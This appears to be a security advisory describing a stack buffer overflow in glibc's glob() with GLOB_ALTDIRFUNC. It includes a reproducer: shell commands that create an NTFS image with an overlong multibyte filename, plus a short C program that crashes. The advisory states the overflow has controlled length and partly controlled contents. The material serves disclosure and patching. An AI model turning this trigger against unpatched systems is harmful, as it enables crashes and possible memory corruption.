Alexander Cherepanov discovered that the glob implementation in glibc does not correctly handle overlong names in struct dirent buffers when GLOB_ALTDIRFUNC is used.

Alexander's reproducer:

Indeed, it's easy to create such overlong filename with NTFS:

truncate -s 2M ntfs.img
mkfs.ntfs -F ntfs.img
mkdir dir
mount ntfs.img dir
cd dir
touch `perl -CS -e 'print chr(0x800) x 255'`

And I guess this is a problem for some programs. For example, glibc uses NAME_MAX to compute an array size here:

https://sourceware.org/git/?p=glibc.git;a=blob;f=posix/glob.c;h=0c04c3ccfdea4677ae8bb511e88ee8e4f37b02b5;hb=HEAD#l1564

The program:

#include <stddef.h>
#include <dirent.h>
#include <sys/stat.h>
#include <glob.h>

int main()
{
  glob_t g;
  g.gl_closedir = &closedir;
  g.gl_readdir = &readdir;
  g.gl_opendir = &opendir;
  g.gl_lstat = &lstat;
  g.gl_stat = &stat;
  glob("*", GLOB_ALTDIRFUNC, NULL, &g);
}

crashes when run in a directory created as shown above -- stack buffer overflow by up to 510 bytes with controlled length and (with some constrains) contents.
